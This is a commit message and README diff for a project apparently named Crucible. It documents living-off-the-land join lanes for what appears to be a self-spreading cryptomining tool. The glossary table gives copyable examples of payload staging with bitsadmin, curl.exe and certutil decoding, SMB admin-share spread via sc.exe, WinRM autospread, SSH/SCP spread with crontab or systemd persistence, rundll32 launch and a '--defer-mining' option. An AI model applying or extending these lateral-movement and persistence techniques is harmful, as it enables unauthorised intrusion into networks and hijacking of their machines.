Fix flaky stats-batch tests and extend Crucible E2E LOTL coverage.

Stop the stats batch timer in unit tests before reading pending coalesced state, teach the Playwright stub agent to emit lotl_tier stats, and prefer server/webroot so phase-8 E2E serves the current frontend build.

tests/README.md

@@ -73,7 +73,7 @@ flowchart TB
     dj[discover_and_join]
     d1[docker / docker_load]
     d2[wsl / powershell / dotnet]
-    d3[bits_curl / smb / winrm]
+    d3[bits_curl / do_peer / smb / winrm]
     d4[linux / gpo / intune]
     dj --> d1 --> d2 --> d3 --> d4
   end
@@ -145,6 +145,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C
 | Term | Definition | Example |
 |------|------------|---------|
 | `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
+| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
 | `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
 | `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
 | `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |